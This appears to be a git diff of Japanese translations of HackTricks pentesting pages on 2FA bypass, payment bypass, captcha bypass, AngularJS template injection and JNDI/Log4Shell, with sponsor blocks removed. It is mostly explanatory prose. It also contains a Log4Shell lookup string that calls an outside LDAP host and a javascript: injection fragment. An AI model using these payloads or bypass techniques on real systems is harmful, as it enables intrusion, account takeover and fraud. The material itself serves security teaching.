信頼された**OAuth**プラットフォーム(例:Google、Facebook)でユーザーのアカウントを妥協させることで、2FAをバイパスするルートを提供できます。
|
||||
|
||||
### **ブルートフォース攻撃**
|
||||
|
||||
|
@ -71,15 +58,15 @@ WhiteIntelの主な目標は、情報を盗むマルウェアによるアカウ
|
|||
|
||||
#### **スローブルートフォース**
|
||||
|
||||
流量制限が存在する場合でも、全体的なレート制限がない場合は、スローブルートフォース攻撃が可能です。
|
||||
流れの制限が存在する場合でも、全体的なレート制限がない場合は、スローブルートフォース攻撃が可能です。
|
||||
|
||||
#### **コード再送信の制限リセット**
|
||||
#### **コード再送信制限のリセット**
|
||||
|
||||
コードを再送信するとレート制限がリセットされ、ブルートフォース攻撃を継続できます。
|
||||
|
||||
#### **クライアントサイドレート制限の回避**
|
||||
|
||||
クライアントサイドのレート制限を回避するための技術が文書化されています。
|
||||
クライアントサイドのレート制限をバイパスするための技術が文書化されています。
|
||||
|
||||
#### **内部アクションにレート制限がない**
|
||||
|
||||
|
@ -87,7 +74,7 @@ WhiteIntelの主な目標は、情報を盗むマルウェアによるアカウ
|
|||
|
||||
#### **SMSコード再送信のコスト**
|
||||
|
||||
SMSを介してコードを過剰に再送信すると、企業にコストがかかりますが、2FAをバイパスすることはありません。
|
||||
SMS経由でのコードの過剰な再送信は、会社にコストがかかりますが、2FAをバイパスするわけではありません。
|
||||
|
||||
#### **無限OTP再生成**
|
||||
|
||||
|
@ -95,11 +82,11 @@ SMSを介してコードを過剰に再送信すると、企業にコストが
|
|||
|
||||
### **レースコンディションの悪用**
|
||||
|
||||
2FAバイパスのためのレースコンディションの悪用は、特定の文書に記載されています。
|
||||
2FAバイパスのためのレースコンディションを悪用する方法は特定の文書に記載されています。
|
||||
|
||||
### **CSRF/クリックジャッキングの脆弱性**
|
||||
|
||||
CSRFまたはクリックジャッキングの脆弱性を探求して2FAを無効にすることは、実行可能な戦略です。
|
||||
CSRFまたはクリックジャッキングの脆弱性を探求して2FAを無効にすることは有効な戦略です。
|
||||
|
||||
### **「ログイン状態を保持」機能の悪用**
|
||||
|
||||
|
@ -109,7 +96,7 @@ CSRFまたはクリックジャッキングの脆弱性を探求して2FAを無
|
|||
|
||||
#### **IPアドレスの偽装**
|
||||
|
||||
**X-Forwarded-For**ヘッダーを介して被害者のIPアドレスを偽装することで制限をバイパスできます。
|
||||
**X-Forwarded-For**ヘッダーを通じて被害者のIPアドレスを偽装することで制限をバイパスできます。
|
||||
|
||||
### **古いバージョンの利用**
|
||||
|
||||
|
@ -119,31 +106,31 @@ CSRFまたはクリックジャッキングの脆弱性を探求して2FAを無
|
|||
|
||||
#### **APIエンドポイント**
|
||||
|
||||
/v\*/ディレクトリパスで示される古いAPIバージョンは、2FAバイパス手法に対して脆弱である可能性があります。
|
||||
/v\*/ディレクトリパスで示される古いAPIバージョンは、2FAバイパスメソッドに対して脆弱である可能性があります。
|
||||
|
||||
### **以前のセッションの取り扱い**
|
||||
|
||||
2FAが有効化された際に既存のセッションを終了させることで、侵害されたセッションからの不正アクセスからアカウントを保護します。
|
||||
2FAが有効化された際に既存のセッションを終了させることで、妥協されたセッションからの不正アクセスからアカウントを保護します。
|
||||
|
||||
### **バックアップコードに関するアクセス制御の欠陥**
|
||||
|
||||
2FAが有効化された際にバックアップコードが即座に生成され、潜在的に不正に取得されるリスクがある、特にCORSの誤設定/XSSの脆弱性がある場合です。
|
||||
2FAが有効化された際にバックアップコードが即座に生成され、特にCORSの誤設定/XSSの脆弱性がある場合に不正に取得される可能性があることはリスクです。
|
||||
|
||||
### **2FAページでの情報開示**
|
||||
|
||||
2FA確認ページでの機密情報の開示(例:電話番号)は懸念事項です。
|
||||
2FA検証ページでの機密情報の開示(例:電話番号)は懸念事項です。
|
||||
|
||||
### **パスワードリセットによる2FAの無効化**
|
||||
|
||||
アカウント作成、2FAの有効化、パスワードリセット、そしてその後の2FA要件なしのログインを示すプロセスが、潜在的なバイパス手法を示しています。
|
||||
アカウント作成、2FAの有効化、パスワードリセット、そしてその後の2FA要件なしでのログインを示すプロセスは、潜在的なバイパス方法を示しています。
|
||||
|
||||
### **デコイリクエスト**
|
||||
|
||||
デコイリクエストを利用してブルートフォース攻撃を隠蔽したり、レート制限メカニズムを誤解させたりすることで、バイパス戦略に別の層を追加します。このようなリクエストを作成するには、アプリケーションのセキュリティ対策とレート制限の挙動についての微妙な理解が必要です。
|
||||
デコイリクエストを利用してブルートフォース攻撃を隠蔽したり、レート制限メカニズムを誤解させたりすることは、バイパス戦略にさらなる層を追加します。このようなリクエストを作成するには、アプリケーションのセキュリティ対策とレート制限の挙動に対する微妙な理解が必要です。
|
||||
|
||||
### OTP構築エラー
|
||||
|
||||
OTPがユーザーが既に持っているデータやOTPを作成するために送信されたデータに基づいて作成される場合、ユーザーがそれを生成し、バイパスすることが可能です。
|
||||
OTPがユーザーが既に持っているデータに基づいて作成される場合、またはOTPを作成する前に送信される場合、ユーザーがそれを生成してバイパスすることが可能です。
|
||||
|
||||
## 参考文献
|
||||
|
||||
|
@ -151,17 +138,6 @@ OTPがユーザーが既に持っているデータやOTPを作成するため
|
|||
* [https://azwi.medium.com/2-factor-authentication-bypass-3b2bbd907718](https://azwi.medium.com/2-factor-authentication-bypass-3b2bbd907718)
|
||||
* [https://getpocket.com/read/aM7dap2bTo21bg6fRDAV2c5thng5T48b3f0Pd1geW2u186eafibdXj7aA78Ip116\_1d0f6ce59992222b0812b7cab19a4bce](https://getpocket.com/read/aM7dap2bTo21bg6fRDAV2c5thng5T48b3f0Pd1geW2u186eafibdXj7aA78Ip116\_1d0f6ce59992222b0812b7cab19a4bce)
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io)は、**ダークウェブ**を利用した検索エンジンで、企業やその顧客が**マルウェアによって侵害されているか**を確認するための**無料**機能を提供しています。
|
||||
|
||||
WhiteIntelの主な目標は、情報を盗むマルウェアによるアカウント乗っ取りやランサムウェア攻撃に対抗することです。
|
||||
|
||||
彼らのウェブサイトを確認し、**無料**でエンジンを試すことができます:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
P
|
||||
|
||||
|
@ -174,7 +150,7 @@ GCPハッキングを学び、実践する:<img src="../.gitbook/assets/grte.p
|
|||
<summary>HackTricksをサポートする</summary>
|
||||
|
||||
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
|
||||
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
|
||||
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
|
||||
* **[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してハッキングトリックを共有してください。**
|
||||
|
||||
</details>
|
||||
|
|
|
@ -15,35 +15,27 @@ GCPハッキングを学び、実践する:<img src="/.gitbook/assets/grte.png
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
## 支払いバイパステクニック
|
||||
|
||||
### リクエストの傍受
|
||||
取引プロセス中、クライアントとサーバー間で交換されるデータを監視することが重要です。これはすべてのリクエストを傍受することで行えます。これらのリクエスト内で、重要な意味を持つパラメータに注意してください。例えば:
|
||||
|
||||
- **Success**: このパラメータは、取引のステータスを示すことがよくあります。
|
||||
- **Referrer**: リクエストがどこから発信されたかを示す場合があります。
|
||||
- **Callback**: これは通常、取引が完了した後にユーザーをリダイレクトするために使用されます。
|
||||
- **成功**: このパラメータは、取引のステータスを示すことがよくあります。
|
||||
- **リファラー**: リクエストがどこから発信されたかを示す可能性があります。
|
||||
- **コールバック**: これは通常、取引が完了した後にユーザーをリダイレクトするために使用されます。
|
||||
|
||||
### URL分析
|
||||
URLを含むパラメータに遭遇した場合、特に_pattern_ _example.com/payment/MD5HASH_の形式に従うものは、より詳細な検査が必要です。以下はステップバイステップのアプローチです:
|
||||
URLを含むパラメータに遭遇した場合、特に_pattern_ _example.com/payment/MD5HASH_に従うものは、より詳細な検査が必要です。以下はステップバイステップのアプローチです:
|
||||
|
||||
1. **URLをコピー**: パラメータ値からURLを抽出します。
|
||||
2. **新しいウィンドウでの検査**: コピーしたURLを新しいブラウザウィンドウで開きます。このアクションは、取引の結果を理解するために重要です。
|
||||
|
||||
### パラメータ操作
|
||||
1. **パラメータ値を変更**: _Success_、_Referrer_、または _Callback_ のようなパラメータの値を変更して実験します。例えば、パラメータを`false`から`true`に変更すると、システムがこれらの入力をどのように処理するかが明らかになることがあります。
|
||||
2. **パラメータを削除**: 特定のパラメータを完全に削除して、システムがどのように反応するかを確認します。一部のシステムは、期待されるパラメータが欠落している場合にフォールバックやデフォルトの動作を持っているかもしれません。
|
||||
1. **パラメータ値を変更**: _成功_、_リファラー_、または_コールバック_のようなパラメータの値を変更して実験します。例えば、パラメータを`false`から`true`に変更すると、システムがこれらの入力をどのように処理するかが明らかになることがあります。
|
||||
2. **パラメータを削除**: 特定のパラメータを完全に削除して、システムがどのように反応するかを確認します。一部のシステムは、期待されるパラメータが欠けている場合にフォールバックやデフォルトの動作を持っているかもしれません。
|
||||
|
||||
### クッキー改ざん
|
||||
1. **クッキーを調査**: 多くのウェブサイトは、クッキーに重要な情報を保存します。支払いステータスやユーザー認証に関連するデータがないか、これらのクッキーを調査します。
|
||||
1. **クッキーを調査**: 多くのウェブサイトは、クッキーに重要な情報を保存します。支払いステータスやユーザー認証に関連するデータが含まれているかどうか、これらのクッキーを調査します。
|
||||
2. **クッキー値を変更**: クッキーに保存されている値を変更し、ウェブサイトの応答や動作がどのように変わるかを観察します。
|
||||
|
||||
### セッションハイジャック
|
||||
|
@ -53,12 +45,6 @@ URLを含むパラメータに遭遇した場合、特に_pattern_ _example.com/
|
|||
1. **応答を傍受**: ツールを使用してサーバーからの応答を傍受し、分析します。成功した取引を示すデータや支払いプロセスの次のステップを明らかにするデータを探します。
|
||||
2. **応答を変更**: ブラウザやアプリケーションによって処理される前に応答を変更し、成功した取引シナリオをシミュレートしようとします。
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
AWSハッキングを学び、実践する:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCPハッキングを学び、実践する:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
|
|
@ -17,7 +17,7 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
|
||||
## Captcha Bypass
|
||||
|
||||
**サーバーテスト**中にキャプチャを**バイパス**し、ユーザー入力機能を自動化するために、さまざまな技術を使用できます。目的はセキュリティを損なうことではなく、テストプロセスを効率化することです。以下は戦略の包括的なリストです:
|
||||
**サーバーテスト**中にキャプチャを**バイパス**し、ユーザー入力機能を自動化するために、さまざまな技術を使用できます。目的はセキュリティを損なうことではなく、テストプロセスを効率化することです。以下は戦略の包括的なリストです。
|
||||
|
||||
1. **パラメータ操作**:
|
||||
* **キャプチャパラメータを省略**: キャプチャパラメータを送信しない。HTTPメソッドをPOSTからGETや他の動詞に変更したり、データ形式を変更したり、フォームデータとJSONの間で切り替えたりしてみる。
|
||||
|
@ -26,28 +26,24 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
2. **値の抽出と再利用**:
|
||||
* **ソースコードの検査**: ページのソースコード内でキャプチャ値を探す。
|
||||
* **クッキー分析**: クッキーを調べて、キャプチャ値が保存され再利用されているか確認する。
|
||||
* **古いキャプチャ値の再利用**: 以前に成功したキャプチャ値を再度使用してみる。ただし、いつでも期限切れになる可能性があることに注意。
|
||||
* **古いキャプチャ値の再利用**: 以前に成功したキャプチャ値を再度使用してみる。ただし、いつでも期限切れになる可能性があることに注意する。
|
||||
* **セッション操作**: 異なるセッションや同じセッションIDで同じキャプチャ値を使用してみる。
|
||||
|
||||
3. **自動化と認識**:
|
||||
* **数学的キャプチャ**: キャプチャが数学的操作を含む場合、計算プロセスを自動化する。
|
||||
* **画像認識**:
|
||||
* 画像から文字を読み取る必要があるキャプチャの場合、手動またはプログラムでユニークな画像の総数を特定する。セットが限られている場合、各画像をMD5ハッシュで識別できるかもしれない。
|
||||
* [Tesseract OCR](https://github.com/tesseract-ocr/tesseract)のような光学文字認識(OCR)ツールを利用して、画像からの文字読み取りを自動化する。
|
||||
* [Tesseract OCR](https://github.com/tesseract-ocr/tesseract)のような光学文字認識(OCR)ツールを利用して、画像から文字を自動的に読み取る。
|
||||
|
||||
4. **追加技術**:
|
||||
* **レート制限テスト**: アプリケーションが特定の時間内に試行や送信の回数を制限しているか、またこの制限をバイパスまたはリセットできるか確認する。
|
||||
* **レート制限テスト**: アプリケーションが特定の時間内に試行や送信の回数を制限しているか、またその制限をバイパスまたはリセットできるか確認する。
|
||||
* **サードパーティサービス**: 自動キャプチャ認識と解決を提供するキャプチャ解決サービスやAPIを利用する。
|
||||
* **セッションとIPのローテーション**: サーバーによる検出やブロックを避けるために、セッションIDやIPアドレスを頻繁に変更する。
|
||||
* **セッションとIPのローテーション**: セッションIDやIPアドレスを頻繁に変更して、サーバーによる検出やブロックを回避する。
|
||||
* **ユーザーエージェントとヘッダー操作**: ユーザーエージェントや他のリクエストヘッダーを変更して、異なるブラウザやデバイスを模倣する。
|
||||
* **音声キャプチャ分析**: 音声キャプチャオプションが利用可能な場合、音声からテキストへのサービスを使用してキャプチャを解釈し解決する。
|
||||
|
||||
## Online Services to solve captchas
|
||||
|
||||
### [Capsolver](https://www.capsolver.com/)
|
||||
|
||||
Capsolverの自動キャプチャ解決ツールは、**手頃で迅速なキャプチャ解決ソリューション**を提供します。シンプルな統合オプションを使用してプログラムに迅速に組み合わせることで、数秒で最良の結果を得ることができます。reCAPTCHA V2およびV3、hCaptcha、FunCaptcha、datadome、aws captcha、画像からテキストへの変換、binance / coinmarketcap captcha、geetest v3などを解決できます。ただし、これは本質的なバイパスではありません。
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
|
|
@ -10,34 +10,21 @@ GCPハッキングを学び、実践する:<img src="/.gitbook/assets/grte.png
|
|||
|
||||
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
|
||||
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
|
||||
* **ハッキングトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
|
||||
* **ハッキングトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
#### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io)は、**ダークウェブ**を利用した検索エンジンで、企業やその顧客が**マルウェアに侵害された**かどうかを確認するための**無料**機能を提供しています。
|
||||
|
||||
WhiteIntelの主な目標は、情報を盗むマルウェアによるアカウント乗っ取りやランサムウェア攻撃に対抗することです。
|
||||
|
||||
彼らのウェブサイトを確認し、**無料**でエンジンを試すことができます:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
***
|
||||
|
||||
## 概要
|
||||
|
||||
これは[**サーバーサイドテンプレートインジェクション**](ssti-server-side-template-injection/)のようなもので、**クライアント**側で発生します。**SSTI**はリモートサーバー上で**コードを実行**することを可能にしますが、**CSTI**は被害者のブラウザ内で**任意のJavaScript**コードを**実行**することを可能にします。
|
||||
これは[**サーバーサイドテンプレートインジェクション**](ssti-server-side-template-injection/)のようなもので、**クライアント**側で発生します。**SSTI**はリモートサーバー上で**コードを実行**することを可能にしますが、**CSTI**は被害者のブラウザで**任意のJavaScript**コードを**実行**することを可能にします。
|
||||
|
||||
この脆弱性の**テスト**は、**SSTI**の場合と非常に**似ています**。インタープリターは**テンプレート**を期待し、それを実行します。例えば、`{{ 7-7 }}`のようなペイロードを使用した場合、アプリが**脆弱**であれば`0`が表示され、そうでなければ元の`{{ 7-7 }}`が表示されます。
|
||||
|
||||
## AngularJS
|
||||
|
||||
AngularJSは、**`ng-app`**として知られる属性を介してHTMLと対話する広く使用されているJavaScriptフレームワークです。このディレクティブにより、AngularJSはHTMLコンテンツを処理し、二重波括弧内でJavaScript式を実行できるようになります。
|
||||
AngularJSは、ディレクティブとして知られる属性を介してHTMLと対話する広く使用されているJavaScriptフレームワークであり、特に**`ng-app`**が注目されます。このディレクティブはAngularJSがHTMLコンテンツを処理し、二重波括弧内でJavaScript式を実行できるようにします。
|
||||
|
||||
ユーザー入力が`ng-app`でタグ付けされたHTMLボディに動的に挿入されるシナリオでは、任意のJavaScriptコードを実行することが可能です。これは、入力内でAngularJSの構文を利用することで実現できます。以下は、JavaScriptコードがどのように実行されるかを示す例です:
|
||||
```javascript
|
||||
|
@ -102,17 +89,7 @@ javascript:alert(1)%252f%252f..%252fcss-images
|
|||
|
||||
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssti.txt" %}
|
||||
|
||||
#### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) は、**ダークウェブ**を利用した検索エンジンで、企業やその顧客が**盗難マルウェア**によって**侵害**されているかどうかを確認するための**無料**機能を提供しています。
|
||||
|
||||
WhiteIntelの主な目的は、情報を盗むマルウェアによるアカウント乗っ取りやランサムウェア攻撃と戦うことです。
|
||||
|
||||
彼らのウェブサイトをチェックし、**無料**でエンジンを試すことができます:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
|
|
|
@ -15,14 +15,6 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
## 基本情報
|
||||
|
||||
JNDIは1990年代後半からJavaに統合されており、ディレクトリサービスとして機能し、Javaプログラムが命名システムを通じてデータやオブジェクトを見つけることを可能にします。さまざまなディレクトリサービスをサービスプロバイダインターフェース(SPI)を介してサポートし、リモートJavaオブジェクトを含む異なるシステムからデータを取得できます。一般的なSPIにはCORBA COS、Java RMI Registry、LDAPがあります。
|
||||
|
@ -36,11 +28,11 @@ JavaオブジェクトはJNDI命名参照を使用して保存および取得で
|
|||
|
||||
ただし、このメカニズムは悪用される可能性があり、任意のコードの読み込みと実行につながる可能性があります。対策として:
|
||||
|
||||
* **RMI**:`java.rmi.server.useCodeabseOnly = true`はJDK 7u21以降デフォルトで、リモートオブジェクトの読み込みを制限します。セキュリティマネージャーは、読み込むことができるものをさらに制限します。
|
||||
* **LDAP**:`com.sun.jndi.ldap.object.trustURLCodebase = false`はJDK 6u141、7u131、8u121以降デフォルトで、リモートで読み込まれたJavaオブジェクトの実行をブロックします。`true`に設定すると、セキュリティマネージャーの監視なしにリモートコードの実行が可能になります。
|
||||
* **RMI**:`java.rmi.server.useCodeabseOnly = true`はJDK 7u21以降デフォルトで、リモートオブジェクトの読み込みを制限します。セキュリティマネージャーはさらに読み込むことができるものを制限します。
|
||||
* **LDAP**:`com.sun.jndi.ldap.object.trustURLCodebase = false`はJDK 6u141、7u131、8u121以降デフォルトで、リモートで読み込まれたJavaオブジェクトの実行をブロックします。`true`に設定すると、セキュリティマネージャーの監視なしにリモートコード実行が可能になります。
|
||||
* **CORBA**:特定のプロパティはありませんが、セキュリティマネージャーは常にアクティブです。
|
||||
|
||||
ただし、JNDIリンクを解決する責任がある**Naming Manager**は、組み込みのセキュリティメカニズムが欠如しており、任意のソースからオブジェクトを取得できる可能性があります。これにより、RMI、LDAP、CORBAの保護が回避され、任意のJavaオブジェクトの読み込みや、既存のアプリケーションコンポーネント(ガジェット)を悪用して悪意のあるコードを実行するリスクが生じます。
|
||||
ただし、JNDIリンクを解決する責任がある**ネーミングマネージャー**には、組み込みのセキュリティメカニズムが欠けており、任意のソースからオブジェクトを取得できる可能性があります。これにより、RMI、LDAP、CORBAの保護が回避され、任意のJavaオブジェクトの読み込みや、既存のアプリケーションコンポーネント(ガジェット)を悪用して悪意のあるコードを実行するリスクが生じます。
|
||||
|
||||
悪用可能なURLの例:
|
||||
|
||||
|
@ -58,7 +50,7 @@ JavaオブジェクトはJNDI命名参照を使用して保存および取得で
|
|||
|
||||
### CORBAの概要
|
||||
|
||||
CORBA(Common Object Request Broker Architecture)は、リモートオブジェクトを一意に識別するために**Interoperable Object Reference (IOR)**を使用します。この参照には、次のような重要な情報が含まれます:
|
||||
CORBA(Common Object Request Broker Architecture)は、リモートオブジェクトを一意に識別するために**相互運用可能なオブジェクト参照(IOR)**を使用します。この参照には、次のような重要な情報が含まれます:
|
||||
|
||||
* **タイプID**:インターフェースの一意の識別子。
|
||||
* **コードベース**:スタブクラスを取得するためのURL。
|
||||
|
@ -67,25 +59,25 @@ CORBA(Common Object Request Broker Architecture)は、リモートオブジ
|
|||
|
||||
* **セキュリティマネージャー**のインストール。
|
||||
* セキュリティマネージャーを構成して、潜在的に悪意のあるコードベースへの接続を許可します。これは次のように実現できます:
|
||||
* ソケットの権限、例:`permissions java.net.SocketPermission "*:1098-1099", "connect";`。
|
||||
* ファイル読み取り権限、全体的に(`permission java.io.FilePermission "<<ALL FILES>>", "read";`)または悪意のあるファイルが配置される可能性のある特定のディレクトリに対して。
|
||||
* ソケット権限、例:`permissions java.net.SocketPermission "*:1098-1099", "connect";`。
|
||||
* ファイル読み取り権限、普遍的に(`permission java.io.FilePermission "<<ALL FILES>>", "read";`)または悪意のあるファイルが配置される可能性のある特定のディレクトリに対して。
|
||||
|
||||
ただし、一部のベンダーポリシーは緩やかで、これらの接続をデフォルトで許可する場合があります。
|
||||
ただし、一部のベンダーポリシーは寛容であり、これらの接続をデフォルトで許可する場合があります。
|
||||
|
||||
### RMIコンテキスト
|
||||
|
||||
RMI(Remote Method Invocation)については、状況はやや異なります。CORBAと同様に、任意のクラスのダウンロードはデフォルトで制限されています。RMIを悪用するには、通常、セキュリティマネージャーを回避する必要があります。これはCORBAでも関連する課題です。
|
||||
RMI(Remote Method Invocation)については、状況がやや異なります。CORBAと同様に、任意のクラスのダウンロードはデフォルトで制限されています。RMIを悪用するには、通常、セキュリティマネージャーを回避する必要があります。これはCORBAでも関連する課題です。
|
||||
|
||||
### LDAP
|
||||
|
||||
まず、検索とルックアップを区別する必要があります。\
|
||||
**検索**は、`ldap://localhost:389/o=JNDITutorial`のようなURLを使用してLDAPサーバーからJNDITutorialオブジェクトを見つけ、その属性を**取得します**。\
|
||||
**ルックアップ**は、**名前にバインドされているものを取得するための**ものです。
|
||||
**検索**は、`ldap://localhost:389/o=JNDITutorial`のようなURLを使用してLDAPサーバーからJNDITutorialオブジェクトを見つけ、その**属性を取得**します。\
|
||||
**ルックアップ**は、**名前サービス**のためのもので、**名前にバインドされているものを取得**することを目的としています。
|
||||
|
||||
LDAP検索が**SearchControls.setReturningObjFlag()を`true`で呼び出された場合、返されたオブジェクトは再構築されます**。
|
||||
|
||||
したがって、これらのオプションを攻撃する方法はいくつかあります。\
|
||||
**攻撃者はLDAPレコードを汚染し、ペイロードを導入することができます**。これにより、それらを収集するシステムで実行されます(LDAPサーバーにアクセスできる場合、**数十台のマシンを侵害するのに非常に便利です**)。この他の悪用方法としては、LDAP検索に対する**MitM攻撃**を行うことが考えられます。
|
||||
**攻撃者はLDAPレコードを汚染し、ペイロードを導入することができます**。これにより、それらを収集するシステムで実行されます(LDAPサーバーにアクセスできる場合、**数十台のマシンを侵害するのに非常に便利です**)。この他の悪用方法としては、例えばLDAP検索で**MitM攻撃を行う**ことが考えられます。
|
||||
|
||||
アプリがJNDI LDAP URLを解決できる場合、検索されるLDAPを制御でき、エクスプロイト(log4shell)を返すことができます。
|
||||
|
||||
|
@ -93,7 +85,7 @@ LDAP検索が**SearchControls.setReturningObjFlag()を`true`で呼び出され
|
|||
|
||||
![](<../../.gitbook/assets/image (275).png>)
|
||||
|
||||
**エクスプロイトはシリアライズされており、デシリアライズされます**。\
|
||||
**エクスプロイトはシリアライズされており、デシリアライズされます。**\
|
||||
`trustURLCodebase`が`true`の場合、攻撃者はコードベースに自分のクラスを提供できますが、そうでない場合はクラスパス内のガジェットを悪用する必要があります。
|
||||
|
||||
#### JNDI参照エクスプロイト
|
||||
|
@ -108,9 +100,9 @@ LDAP検索が**SearchControls.setReturningObjFlag()を`true`で呼び出され
|
|||
|
||||
[**LOG4J2-313**](https://issues.apache.org/jira/browse/LOG4J2-313)は`jndi`ルックアップ機能を導入しました。この機能により、JNDIを介して変数を取得できます。通常、キーは自動的に`java:comp/env/`でプレフィックスが付けられます。ただし、キー自体に**":"**が含まれている場合、このデフォルトのプレフィックスは適用されません。
|
||||
|
||||
キーに**:が存在する**場合、例えば`${jndi:ldap://example.com/a}`では**プレフィックスがなく**、**LDAPサーバーがオブジェクトをクエリされます**。これらのルックアップは、Log4jの設定やログが記録される際に使用される可能性があります。
|
||||
キーに**:が存在する**場合、例えば`${jndi:ldap://example.com/a}`では**プレフィックスがなく**、**LDAPサーバーがオブジェクトを照会されます**。これらのルックアップは、Log4jの設定やログが記録される際に使用できます。
|
||||
|
||||
したがって、RCEを取得するために必要なのは、**ユーザーによって制御される情報を処理する脆弱なバージョンのLog4j**だけです。そして、これはJavaアプリケーションが情報をログに記録するために広く使用されているライブラリであるため(インターネットに接続されたアプリケーションを含む)、HTTPヘッダーのような情報をログに記録するためにlog4jが非常に一般的でした。しかし、log4jは**HTTP情報だけでなく、開発者が指定した任意の入力やデータをログに記録するために使用されます**。
|
||||
したがって、RCEを取得するために必要な唯一のことは、**ユーザーによって制御される情報を処理する脆弱なバージョンのLog4j**です。そして、これはJavaアプリケーションが情報をログに記録するために広く使用されているライブラリであるため(インターネットに接続されたアプリケーションを含む)、例えば受信したHTTPヘッダーのログを記録するためにlog4jが使用されることは非常に一般的でした。しかし、log4jは**HTTP情報だけでなく、開発者が示した任意の入力やデータをログに記録するために使用されます**。
|
||||
|
||||
## Log4Shell関連のCVEの概要
|
||||
|
||||
|
@ -120,7 +112,7 @@ LDAP検索が**SearchControls.setReturningObjFlag()を`true`で呼び出され
|
|||
|
||||
### [CVE-2021-45046](https://nvd.nist.gov/vuln/detail/CVE-2021-45046) **\[Critical]**
|
||||
|
||||
最初は低評価でしたが、後に重大なものに引き上げられたこのCVEは、CVE-2021-44228の2.15.0での不完全な修正に起因する**サービス拒否(DoS)**の欠陥です。これはデフォルト以外の構成に影響を与え、攻撃者が巧妙に作成されたペイロードを通じてDoS攻撃を引き起こすことを可能にします。[ツイート](https://twitter.com/marcioalm/status/1471740771581652995)ではバイパス方法が示されています。この問題は、メッセージルックアップパターンを削除し、デフォルトでJNDIを無効にすることで、バージョン2.16.0および2.12.2で解決されました。
|
||||
